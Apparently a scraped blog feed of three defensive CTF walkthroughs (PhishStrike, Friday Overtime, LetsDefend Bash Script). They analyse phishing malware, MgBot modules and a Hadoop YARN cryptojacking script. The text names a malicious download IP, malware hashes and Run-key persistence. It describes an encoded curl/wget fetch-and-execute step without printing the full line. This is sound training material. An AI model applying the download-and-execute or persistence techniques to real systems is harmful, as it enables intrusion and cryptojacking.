https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753343(v=ws.11)\n","date":"2024-12-23T00:00:00Z","image":"/posts/hackthebox-crownjewel-2-sherlock-walkthrough/215c386a52799f34646b3d0806be728c_MD5.png","permalink":"/posts/hackthebox-crownjewel-2-sherlock-walkthrough/","title":"HackTheBox  — CrownJewel-2 Sherlock Walkthrough"},{"content":"CyberDefenders — PhishStrike Challenge Walkthrough A Cyber Threat Intelligence Challenge using MXToolBox, URLhaus, VirusTotal, MITRE ATT\u0026amp;CK, \u0026amp; MalwareBazaar Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/phishstrike/\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the PhishStrike challenge from CyberDefenders, you\u0026rsquo;re in the right place. Prepare to dive into the world of Cyber Threat Intelligence!\nIn this scenario, a phishing email is targeting members of our institution\u0026rsquo;s faculty which includes a suspicious link. Our goal is to analyze the phishing email artifact to discover more about the sender and the link to scope the potential impact on a victim. To unravel this mystery, we\u0026rsquo;ll leverage several tools as we follow the email thread, including:\nMXToolBox: This tool helps us perform a detailed analysis of the email headers. It offers easy-to-read insights about the sender and any potential anomalies that we can explore.\nURLhaus: After analyzing the headers, we may uncover some suspicious URLs. URLhaus is a service where we can gather intelligence about these URLs by checking them against a database of known malicious domains, giving us valuable context about potential malware hosted on them.\nVirus Total: After identifying details about the malware, we can submit the file hashes to VirusTotal to get comprehensive scan results and analysis.\nMalwareBazaar: This is a repository used to share malware samples with the infosec community. Here, we can search for additional reports about the uploaded samples to understand the malware\u0026rsquo;s behavior.\nThe exciting part is that the deeper we go, the more details we\u0026rsquo;ll uncover about the email payload, discovering more insights about the malware\u0026rsquo;s infrastructure. Sounds like a fun mystery, right? Let\u0026rsquo;s get into it!\nAnd hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please give it a clap!\nThanks for reading and going on this investigation with me!\nChallenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/phishstrike/\nChallenge Scenario: As a cybersecurity analyst for an educational institution, you receive an alert about a phishing email targeting faculty members. The email, appearing from a trusted contact, claims a $625,000 purchase and provides a link to download an invoice.\nYour task is to investigate the email using Threat Intel tools. Analyze the email headers and inspect the link for malicious content. Identify any Indicators of Compromise (IOCs) and document your findings to prevent potential fraud and educate faculty on phishing recognition.\nSetup the REMnux Analysis Environment \u0026amp; Extract the challenge file: Safety first! When working with lab/challenge files from CyberDefenders (or any educational lab/challenge/range), it\u0026rsquo;s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I\u0026rsquo;m using REMnux, a specialized Linux distribution for malware analysis.\nTo keep this write-up focused, I\u0026rsquo;m going to skip a step-by-step setup directions of REMnux, but if you\u0026rsquo;d like to set up your own environment, please follow the guide provided by REMnux directly. For reference, I used the virtual appliance method:\nGet the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into\u0026hellip;_docs.remnux.org\nOnce we have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: Identifying the sender\u0026rsquo;s IP address with specific SPF and DKIM values helps trace the source of the phishing email. What is the sender\u0026rsquo;s IP address that has an SPF value of softfail and a DKIM value of fail? Within the challenge file, there is a single email file — 194-PhishStrike.eml\nWe\u0026rsquo;ll need to start our investigation by analyzing the phishing email, starting with its headers. There are a few ways to approach header analysis of message, including opening it in an email client, a plaintext editor, or a header analysis tool. For this walkthrough, let\u0026rsquo;s start with an online header analysis tool — the MxToolBox Supertool Email Header Analyzer. This tool will allow us to copy and paste the headers and parse them in a more readable way.\nBut first, we need to obtain the headers. To do this, open the .eml file with any plain text editor within your analysis environment. The top section holds the message header information and the next section contains the body content which we\u0026rsquo;ll look at later.\nStart of the message header.\nHeaders and Message Body Boundary\nOnce the header is pasted into the MxToolBox, we can search the formatted fields easily. We need to look for the Received-SPF mail header. If you\u0026rsquo;re unfamiliar, according to MailTrap, Sender Policy Framework (SPF) is:\nAn authentication method used by senders to specify hosts that are allowed to send an email on behalf of the domain.\nIn the case of this phishing email, the value is softfail which tells us that the email was sent from an IP address not explicitly authorized by the sending domain\u0026rsquo;s SPF record. It\u0026rsquo;s important to know that the email is still accepted and not rejected like it would be if the value was hardfail which explains why it was delivered to the victims.\nQuestion 2: Understanding the return path of the email helps in tracing its origin. What is the return path specified in this email? Within the MxToolBox results, simply search for the Search for the Return-Path header to find the original sender address. Additionally, any bounces would be sent back to this address.\nQuestion 3: Identifying the source of malware is critical for effective threat mitigation and response. What is the IP address hosting the malicious file associated with malware distribution? To answer Question 3, we need to examine the email body content for any links or attachments sent to the victim. Since this information isn\u0026rsquo;t part of the mail headers, let\u0026rsquo;s return to the plain text editor where we opened the 194-PhishStrike.eml to view the email body.\nBelow the header section, we\u0026rsquo;ll see the content. Notice the text \u0026quot; # \u0026quot;\nVIEW INVOICE DOCUMENT HERE\u0026quot; holds a hyperlink to an IP address hosting an executable file. This is extremely suspicious and has all the hallmarks of a phishing link. It\u0026rsquo;s also the IP address we\u0026rsquo;re looking for to answer Question 3.\nQuestion 4: Identifying malware that exploits system resources for cryptocurrency mining is critical for prioritizing threat mitigation efforts. The malicious URL can deliver several malware types. Which malware family is responsible for cryptocurrency mining? We\u0026rsquo;ve identified the malicious URL within the email body, now let\u0026rsquo;s collect some threat intelligence by checking it on URLhaus, a malware URL submission platform used to track cyber threats, searching the URL hosting the executable file:\nURLhaus Results\nFrom the tags, we\u0026rsquo;ll notice that this URL is associated with several different malware types. To answer Question 4, we are interested in the tag associated with cryptocurrency mining — CoinMiner.\nQuestion 5: Identifying the specific URLs malware requests is key to disrupting its communication channels and reducing its impact. Based on the previous analysis of the cryptocurrency malware sample, what does this malware request the URL? Now, let\u0026rsquo;s click into the report to browse the detailed database entry. The first thing we\u0026rsquo;ll want is the SHA256 hash of the CoinMiner payload. Having the specific malware\u0026rsquo;s file hash in our possession allows us to pivot and check other threat intelligence services for hits and build a stronger malware profile.\nFor example, let\u0026rsquo;s navigate to VirusTotal and search the CoinMiner hash. We\u0026rsquo;ll check the Relations tab under Contacted URLs to understand what URLS the malware communicates with based on previous analysis on the service.\nThere are two URLs listed: One looks familiar to us from the phishing email, and the second one is new data — this is the one we\u0026rsquo;re looking for. With the additional information, we are starting to gain a better understanding of the malware\u0026rsquo;s infrastructure.\nQuestion 6: Understanding the registry entries added to the auto-run key by malware is crucial for identifying its persistence mechanisms. Based on the BitRAT malware sample analysis, what is the executable\u0026rsquo;s name in the first value added to the registry auto-run key? In the last question, we searched for information on the CoinMiner malware delivered by the phishing URL. This time, we\u0026rsquo;ll need to analyze the BitRAT sample downloaded from the same URL. We can accomplish this by heading back to URLhaus, copying the BitRAT payload hash this time, then submitting it to VirusTotal to view the report.\nBack on VirusTotal, let\u0026rsquo;s check out the Behavior tab and scroll down to the Registry Actions \u0026gt; Registry Keys Set area:\nVirusTotal VirusTotalwww.virustotal.com\nWhile there are an overwhelming amount of entries listed, we can narrow the search by specifically looking for registry hives related to the persistence technique of abusing auto-run keys in the Windows registry.\nTo learn more about this technique and get some clues on what to look for in the report, let\u0026rsquo;s turn to MITRE ATT\u0026amp;CK:\nAdversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \u0026quot; # \u0026quot;\nrun keys\u0026quot; in the Registry or startup folder will cause the program referenced to be executed when a user logs in.[1] These programs will be executed under the context of the user and will have the account\u0026rsquo;s associated permissions level.\nThe following run keys are created by default on Windows systems:\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\nNow that we have this background information, we can apply the intelligence gained from MITRE ATT\u0026amp;CK to search for the default run keys in the VirusTotal report, leading us to the executable.\nQuestion 7: Identifying the SHA-256 hash of files downloaded from a malicious URL is essential for tracking and analyzing malware activity. Based on the BitRAT analysis, what is the SHA-256 hash of the file previously downloaded and added to the autorun keys? Continuing our BitRAT analysis on VirusTotal, let\u0026rsquo;s find the SHA-256 file hash of the executable we found in the previous question. To do this, we just need to expand the Files Dropped section and search for the executable\u0026rsquo;s name. Expanding the entry will show us the hash of the file.\nFrom: https://www.virustotal.com/gui/file/bf7628695c2df7a3020034a065397592a1f8850e59f9a448b555bc1c8c639539/behavior\nQuestion 8: Analyzing the HTTP requests made by malware helps in identifying its communication patterns. What is the HTTP request used by the loader to retrieve the BitRAT malware? We\u0026rsquo;ll approach this question the same we way did the previous two. This time, navigate to the Network Communication section and focus on HTTP Requests made by the malware.\nQuestion 9: Introducing a delay in malware execution can help evade detection mechanisms. What is the delay (in seconds) caused by the PowerShell command according to the BitRAT analysis? Moving right along, we\u0026rsquo;ll focus on analyzing any observed PowerShell commands executed by the BitRAT malware. We can find this information under the Process and service actions section under Shell Commands. After a quick analysis, we\u0026rsquo;ll locate the below PowerShell command:\nThere\u0026rsquo;s just one small obstacle, we can\u0026rsquo;t read the command directly yet since it has been encoded with Base64 (-enc.) Fortunately, we can easily decode this by leveraging a tool like CyberChef.\nAfter opening the tool, paste the encoded string into the input field and then apply the From Base64 operation to the Recipe. While we could clean this up a bit further, the operation already allows us to see the deobfuscated string showing the delay in execution.\nDecoding in CyberChef: https://gchq.github.io/CyberChef/\nQuestion 10: Tracking the command and control (C2) domains used by malware is essential for detecting and blocking malicious activities. What is the C2 domain used by the BitRAT malware? After reviewing the network connections on VirusTotal, we might think that we\u0026rsquo;ve already discovered the command and control (C2) URL, but none of the domains that we have uncovered so far fit the format that the question is looking for.\nFor our next steps, let\u0026rsquo;s check if we can find any additional information from the Community tab on the VirusTotal report. After reviewing a couple of the entries, we\u0026rsquo;ll stumble upon a solid lead from the extremely helpful comment below:\nTo double-confirm that this information is accurate, let\u0026rsquo;s head back over to URLhaus and click the BitRAT link to take us over to MalwareBazaar, a malware sample sharing platform for the infosec community, to see what additional threat intelligence may be available from other vendors.\nOn the MalwareBazaar page for the BitRAT sample, scroll down to the Vendor Threat Intelligence section and choose the Hatching Triage entry to see an overview of their findings. Notice anything interesting?\nWe found corroborating evidence confirming what we found on VirusTotal! Now that we\u0026rsquo;ve double-confirmed our findings, let\u0026rsquo;s submit the answer and move on to the final question of this challenge.\nQuestion 11: Understanding the methods malware uses for exfiltrating data is crucial for detecting and preventing data breaches. According to the AsyncRAT analysis, what is the Telegram Bot ID used by the malware? Back to URLhaus again to answer Question 11. Here we\u0026rsquo;ll apply the same process we did in the previous question, this time selecting the AsyncRAT link to view the sample on MalwareBazaar.\nSince we acquired solid threat intelligence from the Hatching Triage in the last question, let\u0026rsquo;s analyze their full report to extract anything that will help us get closer to the answer.\nhttps://tria.ge/221025-mz5tpscdf8\nInside of the report, we\u0026rsquo;ll see that the data is collected by both static analysis and behavioral analysis. Let\u0026rsquo;s review the linked behavioral2 report to see the activities in detail, specifically focusing on the Network section.\nHere we\u0026rsquo;ll discover the final details that we are looking for, the Telegram Bot ID the malware used for data exfiltration.\nNow that we have successfully leveraged threat intelligence to solve the mystery — let\u0026rsquo;s wrap up this investigation!\nFrom Recorded Future Triage: https://tria.ge/221025-mz5tpscdf8/behavioral2\nConclusion: Great job! Starting with a single email, we used MXToolBox to learn about the spoofed trusted contact and found a suspicious URL within the body of the email. Using URLhaus and Virus Total, we collected threat intelligence about the three different malware samples delivered by the malicious server to understand their behaviors. Finally, we leveraged additional, external reports about the malware to uncover how data might have been exfiltrated. With the objectives completed, we have all the information we need to help keep the institution safe from this threat. Let\u0026rsquo;s close the book on the PhishStrike challenge!\nA big thank you to CyberDefenders, for another engaging and realistic lab scenario. This one was exceptionally fun. I always enjoy a challenge that starts with a single artifact and leads through a sprawling investigation that requires deep dives into external research. In the real world, when time is of the essence, it\u0026rsquo;s important to be able to obtain insights for previously observed threats using platforms like VirusTotal and URLhaus to quickly identify, understand, and remediate a threat. Practicing in a lab environment is time well spent to prepare. I hope you found this walkthrough insightful too!\nThanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: REMnux: https://remnux.org/\nMxToolBox Supertool Email Header Analyzer: https://mxtoolbox.com/EmailHeaders.aspx\nMailtrap Email Headers: https://mailtrap.io/blog/email-headers/\nURLhaus: https://urlhaus.abuse.ch/\nVirusTotal: https://www.virustotal.com/\nMITRE ATT\u0026amp;CK — Boot of Logon Autostart Execution: Registry Run Keys / Startup Folder ( T1547.001): https://attack.mitre.org/techniques/T1547/001/\nCyberChef: https://gchq.github.io/CyberChef/\nMalwareBazaar: https://bazaar.abuse.ch/\nRecorded Future Triage Report: https://tria.ge/221025-mz5tpscdf8\n","date":"2024-12-16T00:00:00Z","image":"/posts/cyberdefenders-phishstrike-challenge-walkthrough/014273df83121eb4df310d39081fe18b_MD5.png","permalink":"/posts/cyberdefenders-phishstrike-challenge-walkthrough/","title":"CyberDefenders  —  PhishStrike Challenge Walkthrough"},{"content":"TryHackMe — Friday Overtime Challenge Walkthrough A Cyber Threat Intelligence Challenge Using DocIntel, Virus Total, MITRE ATT\u0026amp;CK, CyberChef, and Google Image Credit: https://tryhackme.com/r/room/fridayovertime\nIntroduction: Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive write-up of the Friday Overtime challenge from TryHackMe, you’re in the right place.\nIn this scenario, we’re stepping into the world of Cyber Threat Intelligence to analyze a malware sample submission that we received through the DocIntel threat intelligence platform. Our objective is to gather intelligence on this sample, identify what malware family it’s a part of, understand its functionality, and determine what external destinations it contacts. This information will help us create a detailed report for our fictional customer so that we can head into the weekend. To achieve this, we’ll explore resources like VirusTotal, MITRE ATT\u0026amp;CK, and external reports from Google to fully grasp the malware’s capabilities.\nThe real value of this challenge comes from the research process and becoming adept at collecting threat intelligence from existing reports. With that in mind, I won’t be revealing the answers to the questions in this writeup. Don’t let that deter you — the approach I took isn’t the only one. You’ve got this. Happy hunting!\nAnd hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap! Thanks for reading and going on this investigation with me!\nChallenge Link: https://tryhackme.com/r/room/fridayovertime\nChallenge Scenario: Hello Busy Weekend. . .\nIt’s a Friday evening at PandaProbe Intelligence when a notification appears on your CTI platform. While most are already looking forward to the weekend, you realise you must pull overtime because SwiftSpend Finance has opened a new ticket, raising concerns about potential malware threats. The finance company, known for its meticulous security measures, stumbled upon something suspicious and wanted immediate expert analysis.\nAs the only remaining CTI Analyst on shift at PandaProbe Intelligence, you quickly took charge of the situation, realising the gravity of a potential breach at a financial institution. The ticket contained multiple file attachments, presumed to be malware samples.\nWith a deep breath, a focused mind, and the longing desire to go home, you began the process of:\nDownloading the malware samples provided in the ticket, ensuring they were contained in a secure environment.\nRunning the samples through preliminary automated malware analysis tools to get a quick overview.\nDeep diving into a manual analysis, understanding the malware’s behaviour, and identifying its communication patterns.\nCorrelating findings with global threat intelligence databases to identify known signatures or behaviours.\nCompiling a comprehensive report with mitigation and recovery steps, ensuring SwiftSpend Finance could swiftly address potential threats.\nQuestion 1: Who shared the malware samples? First thing’s first, let’s login to the DocIntel portal using the credentials supplied in the challenge’s instructions. DocIntel is an open-source threat intelligence platform for information sharing where we’ll find the request ticket and download the included malware samples.\nTo answer Question 1, we’ll just need to open the ticket, read the request, and check the sign-off signature to find who sent it in.\nQuestion 2: What is the SHA1 hash of the file “pRsm.dll” inside samples.zip? Next, let’s download the attachment, samples.zip, from the files section on the right side of ticket and extract the files within the archive. To do this, we’ll need the password provided in the ticket details. Once the files are extracted, we can get the SHA1 hash of pRsm.dll directly from the terminal using the below command:\nsha1sum /home/ericatracy/Downloads/pRsm.dll\nQuestion 3: Which malware framework utilizes these DLLs as add-on modules? Now that we have a file hash to work with, let’s pivot over to VirusTotal and check if this sample has been analyzed on the platform before and see what additional intelligence we can collect about it.\nFortunately for us, this sample has been seen before and there are a high number of hits. To answer Question 3, we’ll focus on the threat / family labels to find the answer.\nQuestion 4: Which MITRE ATT\u0026amp;CK Technique is linked to using pRsm.dll in this malware framework? If you’re unfamiliar, MITRE ATT\u0026amp;CK is an expansive knowledge base that documents known adversary tactics, techniques, and procedures as observed in world-world attacks. Since Question 4 mentions MITRE ATT\u0026amp;CK, let’s navigate there and search for the family name we found in the last question to gather more information.\nMgBot _MgBot is a modular malware framework exclusively associated with Daggerfly operations since at least 2012. MgBot was…_attack.mitre.org\nSince there are so many techniques listed on MITRE ATT\u0026amp;CK and in VirusTotal for the malware, we’ll need to pivot out to some external research to narrow it down. From the MITRE ATT\u0026amp;CK page, there are several reference links listed at the bottom.\nLet’s select the second link from ESET to read more about the malware framework and pRsm.dll.\nEvasive Panda APT group delivers malware via updates for popular Chinese software _ESET Research uncovers a campaign by the APT group known as Evasive Panda targeting an international NGO in China with…_www.welivesecurity.com\nThere’s a treasure trove of excellent research content in this blog but for Question 4, we’re most interested in the documented MITRE ATT\u0026amp;CK techniques where we’ll learn that pRsm.dll is used to capture audio streams and the corresponding technique ID.\nFrom: https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/\nQuestion 5: What is the CyberChef defanged URL of the malicious download location first seen on 2020–11–02? Continuing with our review of the ESET report, we’ll also discover some additional details about the malware including the origin of the malicious download.\nWe’re halfway there! While the URL is already defanged within the report, the key detail is that we need to submit the URL after it’s been defanged with CyberChef specifically — Easy enough!\nLet’s open CyberChef, input the URL from the ESET report, and apply the Defang URL option to the recipe to get our newly defanged output.\nDefanging the Download URL in CyberChef\nQuestion 6: What is the CyberChef defanged IP address of the C\u0026amp;C server first detected on 2020–09–14 using these modules? We’ll approach Question 6 like we did the last one. We’ll find the malware’s command and control (C\u0026amp;C) server addresses listed in the ESET report’s IOC section under Network.\nPick the IP address that matches the date from the question and jump back over to CyberChef. It can be a little picky, but manually enter the raw IP address into the input box then apply Defang IP Address to the recipe.\nDefanging C\u0026amp;C IP Address in CyberChef\nQuestion 7: What is the SHA1 hash of the spyagent family spyware hosted on the same IP targeting Android devices on November 16, 2022? Finally, we’re going to take what we’ve learned during our intelligence collection and expand our scope by searching for any other malware families hosted on the IP Address from Question 6.\nHead back over to VirusTotal. Once we input the IP, navigate to the Relations \u0026gt; Communicating Files tab where we’ll find an Android type file communicating with this IP address.\nWhile the date doesn’t match what the question is looking for, let’s click the entry anyway to see if we can find any leads. Looking at the family label, it matches the spyagent tag referenced in the question, so it seems that we’re on the right track.\nLet’s try the SHA-1 hash from the Details tab to verify.\nFantastic! We’ve found the correct sample! Now that we’ve completed Question 7, let’s recap our findings and wrap up this investigation.\nConclusion: There we have it — sample analyzed! During our investigation, we calculated the SHA1 hash value of a DLL within the sample**.** We then searched VirusTotal for this file hash, which helped us identify the malware family the DLL belongs to. Next, we pivoted to MITRE ATT\u0026amp;CK to understand the malware’s capabilities and searched for external references, where we discovered a detailed analysis from ESET. With the ESET report in hand, we identified indicators of compromise (IOCs), including the initial access download URL and the command and control IP addresses. All this information equips us with what we’ll need to create a comprehensive report for the requestor. Let’s wrap up this investigation and conclude our Friday Overtime.\nA big thank you to TryHackMe for the engaging challenge. This was a really fun challenge because the scenario felt realistic and led me down a research rabbit hole. It was cool to learn about DocIntel and get a glimpse into the CTI world. I find it extremely rewarding to start with something as simple as a file hash and continue to unravel the mystery by adding more context through threat intelligence with each new piece of information. It never hurts to continuously practice your research skills and leverage any available reporting when collecting intelligence on a threat — this happens all the time in the field!\nThanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don’t forget to give it a clap! Your feedback really is invaluable and helps keep me motivated to support your journey in the security community. Cybersecurity is a team sport and we’re in this together!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: DocIntel: https://docintel.org/\nVirusTotal: https://www.virustotal.com/\nMITRE ATT\u0026amp;CK — MgBot (S1146): https://attack.mitre.org/software/S1146/\nESET WeLiveSecurity Blog — Evasive Panda APT group delivers malware via updates for popular Chinese software: https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/\n","date":"2024-12-09T00:00:00Z","image":"/posts/tryhackme-friday-overtime-challenge-walkthrough/51fdda019110e68a8a55a3295524706d_MD5.png","permalink":"/posts/tryhackme-friday-overtime-challenge-walkthrough/","title":"TryHackMe  —  Friday Overtime Challenge Walkthrough"},{"content":"LetsDefend— Bash Script Challenge Walkthrough Bash Script Analysis Challenge Using Vim and Apache Hadoop Documentation Image Credit: https://letsdefend.io/\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the Bash Script challenge from LetsDefend, you\u0026rsquo;re in the right place.\nIn this scenario, our objective is to analyze a suspicious bash script linked to a Hadoop YARN cluster provided by the fictional SOC Team and determine if it\u0026rsquo;s malicious. For this challenge, we will be using a simple text editor to analyze the script, searching for environment variables set by the script, and comparing them to online documentation. Then, we will analyze a suspicious download command to understand the nature of the attack.\nThis challenge is beginner-friendly and straightforward, but I had to do a lot of external research to understand Hadoop YARN and the types of threats these services are exposed to. I\u0026rsquo;ll share this information along the way for some added value. Sounds like fun, right? Let\u0026rsquo;s get into it!\nAnd hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap! Thanks for reading and going on this investigation with me!\nChallenge Link: https://app.letsdefend.io/challenge/log-analysis-with-sysmon\nChallenge Scenario: The SOC team uncovered a suspicious bash script linked to a critical Hadoop YARN cluster that handled large-scale data processing. This script was flagged for further investigation by L1 SOC analysts, who suspected it could be a potential breach. You have been tasked to analyze the bash script to uncover its intent.\nQuestion 1: What is the path set to the standard output log file? From the scenario, we understand that that we\u0026rsquo;ll be analyzing a bash script linked to a Hadoop YARN cluster. Hadoop? YARN? These sound like foreign languages to me! To help get us oriented and better interpret the script, let\u0026rsquo;s get some quick context about these terms in case they\u0026rsquo;re also unfamiliar to you.\nHadoop: The Apache Hadoop software library is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.\nHadoop YARN: Apache Hadoop YARN is the resource management and job scheduling technology in the open source Hadoop distributed processing framework. One of Apache Hadoop\u0026rsquo;s core components, YARN is responsible for allocating system resources to the various applications running in a Hadoop cluster and scheduling tasks to be executed on different cluster nodes.\nWhile we don\u0026rsquo;t necessarily need to be Hadoop experts it\u0026rsquo;s very helpful to understand that YARN is responsible for setting up, managing, and executing tasks for various applications on a cluster of computers.\nWe can imagine that a bash script might be useful for automating provisioning, setting up environment variables, configuration paths, and executing tasks — but this could also be abused by the bad guys, too. Since we\u0026rsquo;re told there is something suspicious about the sample script, it might indicate a potential breach of the application container environment. Let\u0026rsquo;s find out for ourselves!\nNow that we have the theory out of the way, let\u0026rsquo;s finally extract the ChallengeFile, sample.7z, and open the resulting file (sample) with a text editor. For the examples in this walkthrough, I\u0026rsquo;ll be using Vim.\nTo find the answer to Question 1, we\u0026rsquo;ll focus on the PRELAUNCH_OUT environment variable which defines the standard output (stdout) path for the container\u0026rsquo;s pre-launch logs. As the name implies, these pre-launch logs capture the commands executed by the setup script on the container before the application launches.\nQuestion 2: Which environment variable specifies the Java home directory? Question 2 is more self-explanatory. A few lines further down in the script, we\u0026rsquo;ll find the JAVA_HOME environment variable which tells the application where the Java installation\u0026rsquo;s home directory is.\nQuestion 3: What is the value of the \u0026quot; # \u0026quot; NM_HTTP_PORT\u0026quot; environment variable?\nThis is another self-explanatory one. We just need to find the NM_HTTP_PORT environment variable in the script.\nSince I\u0026rsquo;m not familiar with NM, though, let\u0026rsquo;s do some research to understand it more. According to the Hadoop Documentation, NM stands for NodeManager. It\u0026rsquo;s a component of YARN that is responsible for managing individual nodes in the cluster. So, this environment variable is specifying the port (8042) where the web interface is accessible to retrieve data about a node\u0026rsquo;s status. Cool stuff!\nQuestion 4: What directory is set as the \u0026quot; # \u0026quot; LOCAL_DIRS\u0026quot; environment variable?\nFor Question 4, let\u0026rsquo;s find the LOCAL_DIRS environment variable. In the bash script, this variable specifies the local directories on a node where YARN can store temporary files and logs during the execution of applications.\nQuestion 5: The script executes a line at the end of it. What is it? All right, now we\u0026rsquo;re done looking for environment variables and starting to analyze some suspicious activity. At the bottom of the script, we\u0026rsquo;ll see the below command, followed by some parameters:\nexec /bin/bash -c\nWith the use of curl, wget, \u0026amp; lwp-download we get the idea that this command is trying (quietly) a few different methods to download a file from a remote server. For the purposes of Question 5, we must understand what the line at the end of the script is doing. The setback here is that the final command is encoded but that\u0026rsquo;s no problem!\nWe can use a tool like CyberChef to decode it, or do it directly from the terminal:\nBase64 Decoding with Terminal\nBase64 Decoding with CyberChef\nOnce we have decoded the command, we\u0026rsquo;ll ultimately discover that the script downloads and executes a Python-based payload — d.py.\nQuestion 6: Which command is used to create a copy of the launch script? Let\u0026rsquo;s take a step back and search the script for a command that creates a copy of the launch script. With little effort, we can find the following line in the script, which is conveniently commented. The copy (cp) command is being used to copy the launch_container.sh script — interesting\u0026hellip;\n#Creating copy of the launch script cp \u0026ldquo;launch_container.sh\u0026rdquo; \u0026ldquo;/root/apps/hadoop-3.2.2/logs/userlogs/application_1617763119642_4002/container_1617763119642_4002_01_000001/launch_container.sh\u0026rdquo;\nQuestion 7: What command is executed to determine the directory contents? Another helpful comment points us to the correct location to look for the answer to Question 7. Here we\u0026rsquo;ll observe that the ls -l command is used to list the directory contents with the long listing format:\nDetermining directory contents echo \u0026ldquo;ls -l:\u0026rdquo; 1\u0026gt;\u0026quot;/root/apps/hadoop-3.2.2/logs/userlogs/application_1617763119642_4002/container_1617763119642_4002_01_000001/directory.info\u0026quot; ls -l 1\u0026raquo;\u0026quot;/root/apps/hadoop-3.2.2/logs/userlogs/application_1617763119642_4002/container_1617763119642_4002_01_000001/directory.info\u0026quot;\nQuestion 8: What IP address is used for downloading a script from the remote server? We\u0026rsquo;ve made it to the last question, and it looks familiar, doesn\u0026rsquo;t it? Remember back in Question 5, we found a script being downloaded and executed. Let\u0026rsquo;s refer back to that line and the IP Address from where the script was downloaded:\nAwesome, we\u0026rsquo;ve found the answer! Feel free to submit it and wrap up this challenge.\nBut if you\u0026rsquo;re interested and want to understand this attack in more detail, I\u0026rsquo;m going on a side quest to research further by consulting some external threat intelligence to understand exactly is going on.\nQuestion 8 — Side Quest: While outside the scope of the challenge, if you want to gain a better understanding of the attack, let\u0026rsquo;s pivot to VirusTotal and search for the IP Address we found.\nOn VirusTotal, there are a couple of hits, but we want to focus on the Relations tab \u0026gt; Files Referring section. With a quick scan, you\u0026rsquo;ll notice something familiar from Question 5 — d.py, the payload downloaded and executed by the script.\nClicking on this entry, we\u0026rsquo;ll see that this is classified as a crypto miner.\nNext, let\u0026rsquo;s head back to the VirusTotal page for the IP Address and navigate to Details \u0026gt; Google Results to find some external research. Check out one of the linked articles from Trend Micro, as it references the malicious IP_._\nThreat Actors Exploit Misconfigured Apache Hadoop YARN _We look into how threat actors are exploiting Apache Hadoop YARN, a part of the Hadoop framework that is responsible\u0026hellip;_www.trendmicro.com\nIn summary, the report reveals how threat actors exploit misconfigured Apache Hadoop YARN services to deploy cryptojacking miner malware onto their targets.\nAs cryptojacking malware is known to be one of the dominant and common payloads for Linux environments, it is no surprise that they were deployed in the YARN service as well\u0026hellip;\n\u0026hellip;At the onset of the attack, the threat actors send commands to the exposed service via an HTTP POST request. As an unintended response, the YARN then creates a launch script that incorporates the attackers\u0026rsquo; commands.\nBetween the VirusTotal report for d.py and the TrendMicro research linking the IP we found to cryptojacking attacks, we now have a better understanding of how the malicious script works and the attacker\u0026rsquo;s goal. Great job!\nConclusion: There we have it — script analyzed! During our investigation, we analyzed a bash script using Vim. This helped us understand some of the functions and environment variables of Hadoop YARN. We discovered some suspicious commands executed by the script, which included downloading and executing a script from a remote server. By pivoting to external research, we identified indicators of compromise and determined that the attacker likely performed a cryptojacking attack on the server. Now that we have scoped the attack and completed our objectives let\u0026rsquo;s close out this walkthrough of the Bash Script challenge.\nA big thank you to LetsDefend for the fun lab scenario. This was interesting to me because, while the answers were straightforward, I realized I had no context or understanding of what was actually happening in the script. I decided to write this up to learn about Hadoop YARN and interpret the results to shape a theory about the attack, rather than just check answers off a list. I hope that the additional research helped you, too!\nThanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Apache Hadoop Website: https://hadoop.apache.org/\nApache Hadoop Documentation: https://hadoop.apache.org/docs/current/index.html\nTech Target — What is Apache Hadoop YARN?: https://www.techtarget.com/searchdatamanagement/definition/Apache-Hadoop-YARN-Yet-Another-Resource-Negotiator#:~:text=One%20of%20Apache%20Hadoop\u0026rsquo;s%20core,executed%20on%20different%20cluster%20nodes.\nCyberChef: https://gchq.github.io/\nUbuntu Manpages — LS: https://manpages.ubuntu.com/manpages/xenial/man1/ls.1.html\nVirusTotal — Download IP: https://www.virustotal.com/gui/ip-address/209.141.40.190/detection\nVirusTotal — d.py: https://www.virustotal.com/gui/file/944f631cbe6dbb89a682320b8ebf64fa97cc9d52db170d2f467b81f3558d13a3/detection\nTrend Micro — Threat Actors 